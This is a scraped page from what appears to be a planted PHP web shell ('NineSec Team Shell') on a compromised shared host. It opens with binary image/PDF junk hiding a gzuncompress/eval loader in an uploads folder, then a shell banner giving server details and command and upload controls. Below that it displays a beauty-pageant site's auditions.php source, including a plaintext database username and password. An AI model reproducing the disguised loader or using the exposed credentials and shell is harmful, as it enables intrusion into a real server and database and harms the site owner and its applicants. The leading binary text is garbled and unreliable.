JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/misschhattisgarh.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/misschhattisgarh.com/public_html/auditions.php
<?php
// Database configuration
$host = "localhost";
$user = "u178500310_cg";
$password = "Tanveer@#14321";
$dbname = "u178500310_cg";


// Define base paths - FORCE HTTPS for security
$base_url = "https://" . $_SERVER['HTTP_HOST'];
$uploads_path = $base_url . "/uploads/";
$uploads_dir = $_SERVER['DOCUMENT_ROOT'] . "/uploads/";

try {
    // Create PDO connection
    $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8", $user, $password);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    
     // Fetch active auditions
    $auditions = $pdo->query("
        SELECT id, title, description, location, DATE_FORMAT(audition_date, '%W, %M %e, %Y') as formatted_date, 
               DATE_FORMAT(audition_date, '%Y-%m-%d') as date_iso, TIME_FORMAT(start_time, '%h:%i %p') as start_time, 
               TIME_FORMAT(end_time, '%h:%i %p') as end_time, requirements, image_url, created_at
        FROM auditions 
        WHERE audition_date >= CURDATE() AND is_active = 1
        ORDER BY audition_date ASC
    ")->fetchAll(PDO::FETCH_ASSOC);
    
    // Fetch categories for filters
    $categories = $pdo->query("
        SELECT DISTINCT category FROM auditions WHERE category IS NOT NULL AND category != ''
    ")->fetchAll(PDO::FETCH_COLUMN);
    
} catch (PDOException $e) {
    error_log("Database error: " . $e->getMessage());
    die("We're experiencing technical difficulties. Please try again later.");
}

// Enhanced image URL generator
function getImageUrl($filename, $type = 'general') {
    global $uploads_path, $uploads_dir;
    
    // Default images for different types
    $default_images = [
        'audition' => 'default-audition.jpg',
        'general' => 'default.jpg'
    ];
    
    // If no filename provided or it's NULL, use default
    if (empty($filename)) {
        return $uploads_path . $default_images[$type];
    }
    
    // Remove any leading slashes or duplicate uploads/ prefix
    $filename = ltrim($filename, '/');
    $filename = str_replace('uploads/', '', $filename);
    
    // Check if file exists with different possible paths
    $possible_paths = [
        $uploads_dir . $filename,
        $uploads_dir . 'auditions/' . $filename
    ];
    
    foreach ($possible_paths as $file_path) {
        if (file_exists($file_path)) {
            // Return the correct URL based on where the file was found
            $relative_path = str_replace($uploads_dir, '', $file_path);
            return $uploads_path . $relative_path;
        }
    }
    
    // If file not found, use appropriate default image
    return $uploads_path . $default_images[$type];
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Auditions - Miss Chhattisgarhram</title>
    <meta name="description" content="Join Miss Chhattisgarhram auditions. Register for upcoming pageant events and casting calls.">
    <link href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@400;700&family=Poppins:wght@300;400;500;600&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        :root {
            --primary: #D4AF37; /* Gold */
            --secondary: #1A3C2F; /* Chhattisgarhram Green */
            --accent: #F4E5C2; /* Light Gold */
            --light: #F8F5F0; /* Soft background light */
            --dark: #1A1A2E; /* Deep dark blue/black */
            --text: #333333; /* Neutral text */
            --shadow: 0 4px 15px rgba(0, 0, 0, 0.1);
            --transition: all 0.3s ease;
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Poppins', sans-serif;
            color: var(--text);
            background-color: #f0f2f5;
            line-height: 1.6;
        }

        h1, h2, h3, h4 {
            font-family: 'Playfair Display', serif;
            color: var(--dark);
        }

        .container {
            width: 100%;
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 20px;
        }

        /* Header Styles */
        header {
            background: linear-gradient(to right, var(--secondary), #2a5c4c);
            color: white;
            padding: 1rem 0;
            position: sticky;
            top: 0;
            z-index: 1000;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
        }
        
        .header-container {
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .logo {
            font-family: 'Playfair Display', serif;
            font-size: 1.8rem;
            font-weight: 700;
            background: linear-gradient(135deg, #D4AF37 0%, #F4E5C2 100%); 
            -webkit-background-clip: text; 
            -webkit-text-fill-color: transparent; 
            background-clip: text;
        }
        
        .nav-menu {
            display: flex;
            list-style: none;
        }
        
        .nav-menu li {
            margin-left: 1.5rem;
        }
        
        .nav-menu a {
            color: white;
            text-decoration: none;
            font-weight: 500;
            transition: color 0.3s;
        }
        
        .nav-menu a:hover {
            color: #D4AF37;
        }

        /* Page Header */
        .page-header {
            background: linear-gradient(rgba(0, 0, 0, 0.7), rgba(0, 0, 0, 0.7)), url('/uploads/Chhattisgarhram-bg.jpg');
            background-size: cover;
            background-position: center;
            color: white;
            text-align: center;
            padding: 120px 0 80px;
        }

        .page-header h1 {
            font-size: 3.5rem;
            color: white;
            margin-bottom: 20px;
        }

        .breadcrumb {
            display: flex;
            justify-content: center;
            list-style: none;
        }

        .breadcrumb li {
            margin: 0 10px;
        }

        .breadcrumb li a {
            color: var(--accent);
            text-decoration: none;
        }

        .breadcrumb li:after {
            content: '/';
            margin-left: 10px;
            color: white;
        }

        .breadcrumb li:last-child:after {
            content: '';
        }

        /* Filters Section */
        .filters {
            background: white;
            padding: 30px;
            border-radius: 8px;
            margin: -40px auto 40px;
            box-shadow: var(--shadow);
            position: relative;
            z-index: 10;
        }

        .filter-form {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 20px;
        }

        .form-group {
            margin-bottom: 15px;
        }

        .form-group label {
            display: block;
            margin-bottom: 8px;
            font-weight: 500;
        }

        .form-group select, .form-group input {
            width: 100%;
            padding: 12px 15px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-family: 'Poppins', sans-serif;
        }

        .btn {
            display: inline-block;
            background: var(--primary);
            color: white;
            padding: 12px 20px;
            border-radius: 4px;
            text-decoration: none;
            font-weight: 600;
            transition: var(--transition);
            border: none;
            cursor: pointer;
            font-size: 16px;
            align-self: end;
        }

        .btn:hover {
            background: #b8941f;
            transform: translateY(-3px);
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.2);
        }

        /* Auditions Grid */
        .auditions-section {
            padding: 60px 0;
        }

        .section-header {
            text-align: center;
            margin-bottom: 60px;
        }

        .section-header h2 {
            font-size: 2.5rem;
            position: relative;
            display: inline-block;
            padding-bottom: 15px;
        }

        .section-header h2:after {
            content: '';
            position: absolute;
            bottom: 0;
            left: 50%;
            transform: translateX(-50%);
            width: 80px;
            height: 4px;
            background: var(--secondary);
            border-radius: 2px;
        }

        .auditions-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(350px, 1fr));
            gap: 30px;
        }

        .audition-card {
            background: white;
            border-radius: 8px;
            overflow: hidden;
            box-shadow: var(--shadow);
            transition: var(--transition);
        }

        .audition-card:hover {
            transform: translateY(-10px);
            box-shadow: 0 15px 30px rgba(0, 0, 0, 0.15);
        }

        .audition-image {
            height: 200px;
            background-size: cover;
            background-position: center;
            position: relative;
        }

        .audition-date {
            position: absolute;
            top: 20px;
            right: 20px;
            background: var(--primary);
            color: white;
            padding: 10px 15px;
            border-radius: 4px;
            font-weight: 600;
            text-align: center;
        }

        .audition-date .day {
            font-size: 1.5rem;
            line-height: 1;
        }

        .audition-date .month {
            font-size: 0.9rem;
            text-transform: uppercase;
        }

        .audition-content {
            padding: 25px;
        }

        .audition-title {
            font-size: 1.5rem;
            margin-bottom: 15px;
            color: var(--dark);
        }

        .audition-meta {
            display: flex;
            margin-bottom: 15px;
            color: #666;
            font-size: 0.9rem;
        }

        .audition-meta div {
            margin-right: 20px;
            display: flex;
            align-items: center;
        }

        .audition-meta i {
            margin-right: 8px;
            color: var(--primary);
        }

        .audition-desc {
            margin-bottom: 20px;
            color: #555;
        }

        .audition-requirements {
            margin-bottom: 20px;
        }

        .requirements-title {
            font-weight: 600;
            margin-bottom: 10px;
            color: var(--dark);
        }

        .requirements-list {
            list-style: none;
        }

        .requirements-list li {
            margin-bottom: 5px;
            padding-left: 20px;
            position: relative;
        }

        .requirements-list li:before {
            content: '•';
            color: var(--primary);
            position: absolute;
            left: 0;
        }

        .audition-actions {
            display: flex;
            justify-content: space-between;
            align-items: center;
        }

        .btn-outline {
            background: transparent;
            border: 2px solid var(--primary);
            color: var(--primary);
        }

        .btn-outline:hover {
            background: var(--primary);
            color: white;
        }

        /* No Results */
        .no-results {
            text-align: center;
            padding: 60px 0;
            grid-column: 1 / -1;
        }

        .no-results i {
            font-size: 4rem;
            color: #ddd;
            margin-bottom: 20px;
        }

        .no-results h3 {
            margin-bottom: 15px;
            color: #666;
        }

        /* Modal */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.7);
            z-index: 1000;
            overflow: auto;
        }

        .modal-content {
            background: white;
            margin: 5% auto;
            padding: 30px;
            border-radius: 8px;
            width: 90%;
            max-width: 600px;
            position: relative;
        }

        .close-modal {
            position: absolute;
            top: 15px;
            right: 15px;
            font-size: 1.5rem;
            cursor: pointer;
            color: #999;
        }

        .close-modal:hover {
            color: var(--dark);
        }

        .modal-header {
            margin-bottom: 20px;
        }

        .modal-body {
            margin-bottom: 30px;
        }

        .form-row {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 20px;
            margin-bottom: 20px;
        }

        /* Footer */
        footer {
            background: linear-gradient(to right, var(--secondary), #2a5c4c);
            color: white;
            padding: 3rem 0 1.5rem;
        }
        
        .footer-content {
            display: flex;
            flex-wrap: wrap;
            justify-content: space-between;
            margin-bottom: 2rem;
        }
        
        .footer-column {
            flex: 1;
            min-width: 200px;
            margin-bottom: 1.5rem;
            padding: 0 1rem;
        }
        
        .footer-title {
            font-family: 'Playfair Display', serif;
            font-size: 1.5rem;
            margin-bottom: 1rem;
            background: linear-gradient(135deg, #D4AF37 0%, #F4E5C2 100%); 
            -webkit-background-clip: text; 
            -webkit-text-fill-color: transparent; 
            background-clip: text;
        }
        
        .footer-links {
            list-style: none;
        }
        
        .footer-links li {
            margin-bottom: 0.5rem;
        }
        
        .footer-links a {
            color: #ddd;
            text-decoration: none;
            transition: color 0.3s;
        }
        
        .footer-links a:hover {
            color: #D4AF37;
        }
        
        .social-icons {
            display: flex;
            gap: 1rem;
            margin-top: 1rem;
        }
        
        .social-icons a {
            display: inline-flex;
            align-items: center;
            justify-content: center;
            width: 40px;
            height: 40px;
            background: rgba(255,255,255,0.1);
            color: white;
            border-radius: 50%;
            text-decoration: none;
            transition: all 0.3s;
        }
        
        .social-icons a:hover {
            background: #D4AF37;
            transform: translateY(-3px);
        }
        
        .copyright {
            text-align: center;
            padding-top: 1.5rem;
            border-top: 1px solid rgba(255,255,255,0.1);
            font-size: 0.9rem;
            color: #aaa;
        }

        /* Responsive Design */
        @media (max-width: 992px) {
            .auditions-grid {
                grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
            }
        }

        @media (max-width: 768px) {
            .header-container {
                flex-direction: column;
            }

            .nav-menu {
                margin-top: 1rem;
            }

            .nav-menu li {
                margin: 0 0.5rem;
            }

            .page-header h1 {
                font-size: 2.5rem;
            }

            .filter-form {
                grid-template-columns: 1fr;
            }

            .form-row {
                grid-template-columns: 1fr;
            }
            
            .footer-column {
                flex: 100%;
            }
        }

        @media (max-width: 576px) {
            .auditions-grid {
                grid-template-columns: 1fr;
            }

            .page-header {
                padding: 100px 0 60px;
            }

            .page-header h1 {
                font-size: 2rem;
            }
            
            .audition-meta {
                flex-direction: column;
            }
            
            .audition-meta div {
                margin-bottom: 10px;
            }
            
            .audition-actions {
                flex-direction: column;
                gap: 10px;
            }
            
            .btn {
                width: 100%;
                text-align: center;
            }
        }
    </style>
</head>

<body>
    <!-- Header -->
    <?php include 'includes/header.php'; ?>

    <!-- Page Header -->
    <section class="page-header">
        <div class="container">
            <h1>Miss Chhattisgarhram Auditions</h1>
            <ul class="breadcrumb">
                <li><a href="index.php">Home</a></li>
                <li>Auditions</li>
            </ul>
        </div>
    </section>

    <!-- Filters Section -->
    <div class="container">
        <div class="filters">
            <form class="filter-form" id="auditionFilter">
                <div class="form-group">
                    <label for="category">Category</label>
                    <select id="category" name="category">
                        <option value="">All Categories</option>
                        <?php foreach ($categories as $category): ?>
                            <option value="<?= htmlspecialchars($category) ?>"><?= htmlspecialchars($category) ?></option>
                        <?php endforeach; ?>
                    </select>
                </div>
                <div class="form-group">
                    <label for="date">Date</label>
                    <input type="date" id="date" name="date">
                </div>
                <div class="form-group">
                    <label for="location">Location</label>
                    <input type="text" id="location" name="location" placeholder="Enter location">
                </div>
                <div class="form-group">
                    <button type="submit" class="btn">Apply Filters</button>
                </div>
            </form>
        </div>
    </div>

    <!-- Auditions Section -->
    <section class="auditions-section">
        <div class="container">
            <div class="section-header">
                <h2>Upcoming Auditions</h2>
                <p>Register for our upcoming pageant events and casting calls</p>
            </div>

            <div class="auditions-grid" id="auditionList">
                <?php if (count($auditions) > 0): ?>
                    <?php foreach ($auditions as $audition): ?>
                        <div class="audition-card" data-category="<?= htmlspecialchars($audition['category'] ?? '') ?>" 
                             data-date="<?= $audition['date_iso'] ?>" data-location="<?= htmlspecialchars($audition['location']) ?>">
                            <div class="audition-image" style="background-image: url('<?= getImageUrl($audition['image_url'], 'audition') ?>');">
                                <div class="audition-date">
                                    <div class="day"><?= date('d', strtotime($audition['date_iso'])) ?></div>
                                    <div class="month"><?= date('M', strtotime($audition['date_iso'])) ?></div>
                                </div>
                            </div>
                            <div class="audition-content">
                                <h3 class="audition-title"><?= htmlspecialchars($audition['title']) ?></h3>
                                <div class="audition-meta">
                                    <div><i class="fas fa-map-marker-alt"></i> <?= htmlspecialchars($audition['location']) ?></div>
                                    <div><i class="fas fa-clock"></i> <?= $audition['start_time'] ?> - <?= $audition['end_time'] ?></div>
                                </div>
                                <p class="audition-desc"><?= htmlspecialchars(substr($audition['description'], 0, 100)) ?>...</p>
                                
                                <?php if (!empty($audition['requirements'])): ?>
                                    <div class="audition-requirements">
                                        <div class="requirements-title">Requirements:</div>
                                        <ul class="requirements-list">
                                            <?php 
                                            $reqs = explode(',', $audition['requirements']);
                                            foreach ($reqs as $req): 
                                                if (!empty(trim($req))):
                                            ?>
                                                <li><?= htmlspecialchars(trim($req)) ?></li>
                                            <?php 
                                                endif;
                                            endforeach; 
                                            ?>
                                        </ul>
                                    </div>
                                <?php endif; ?>
                                
                                <div class="audition-actions">
                                    <a href="audition-details.php?id=<?= $audition['id'] ?>" class="btn btn-outline view-details" data-id="<?= $audition['id'] ?>">View Details</a>
                                </div>
                            </div>
                        </div>
                    <?php endforeach; ?>
                <?php else: ?>
                    <div class="no-results">
                        <i class="fas fa-calendar-times"></i>
                        <h3>No upcoming auditions at the moment</h3>
                        <p>Check back later for new audition opportunities</p>
                    </div>
                <?php endif; ?>
            </div>
        </div>
    </section>

    <!-- Footer -->
    <?php include 'includes/footer.php'; ?>


    <script>
    document.addEventListener('DOMContentLoaded', function() {
        // Modal functionality
        const registrationModal = document.getElementById('registrationModal');
        const detailsModal = document.getElementById('detailsModal');
        const closeButtons = document.querySelectorAll('.close-modal');
        const registerButtons = document.querySelectorAll('.register-btn');
        const viewDetailsButtons = document.querySelectorAll('.view-details');
        const auditionIdField = document.getElementById('auditionId');
        
        // Store audition details from PHP data
        const auditionDetails = {};
        <?php foreach ($auditions as $audition): ?>
        auditionDetails[<?= $audition['id'] ?>] = {
            title: "<?= addslashes($audition['title']) ?>",
            date: "<?= $audition['formatted_date'] ?>",
            location: "<?= addslashes($audition['location']) ?>",
            time: "<?= $audition['start_time'] ?> - <?= $audition['end_time'] ?>",
            description: `<?= addslashes($audition['description']) ?>`,
            requirements: <?= json_encode(!empty($audition['requirements']) ? array_filter(array_map('trim', explode(',', $audition['requirements']))) : []) ?>
        };
        <?php endforeach; ?>

        // Form submission
        document.getElementById('auditionRegistrationForm').addEventListener('submit', function(e) {
            e.preventDefault();
            // Here you would typically send the form data to your server
            alert('Registration submitted successfully! We will contact you soon.');
            registrationModal.style.display = 'none';
        });

        // Filter functionality
        document.getElementById('auditionFilter').addEventListener('submit', function(e) {
            e.preventDefault();
            const category = document.getElementById('category').value.toLowerCase();
            const date = document.getElementById('date').value;
            const location = document.getElementById('location').value.toLowerCase();
            
            const auditionCards = document.querySelectorAll('.audition-card');
            let hasVisible = false;
            
            auditionCards.forEach(card => {
                const cardCategory = card.getAttribute('data-category').toLowerCase();
                const cardDate = card.getAttribute('data-date');
                const cardLocation = card.getAttribute('data-location').toLowerCase();
                
                const categoryMatch = !category || cardCategory.includes(category);
                const dateMatch = !date || cardDate === date;
                const locationMatch = !location || cardLocation.includes(location);
                
                if (categoryMatch && dateMatch && locationMatch) {
                    card.style.display = 'block';
                    hasVisible = true;
                } else {
                    card.style.display = 'none';
                }
            });
            
            // Show no results message if no cards are visible
            const noResults = document.querySelector('.no-results');
            if (!hasVisible) {
                if (!noResults) {
                    const noResultsDiv = document.createElement('div');
                    noResultsDiv.className = 'no-results';
                    noResultsDiv.innerHTML = `
                        <i class="fas fa-calendar-times"></i>
                        <h3>No auditions match your criteria</h3>
                        <p>Try adjusting your filters</p>
                    `;
                    document.getElementById('auditionList').appendChild(noResultsDiv);
                }
            } else if (noResults) {
                noResults.remove();
            }
        });
    });
    </script>
</body>
</html>

NineSec Team - 2022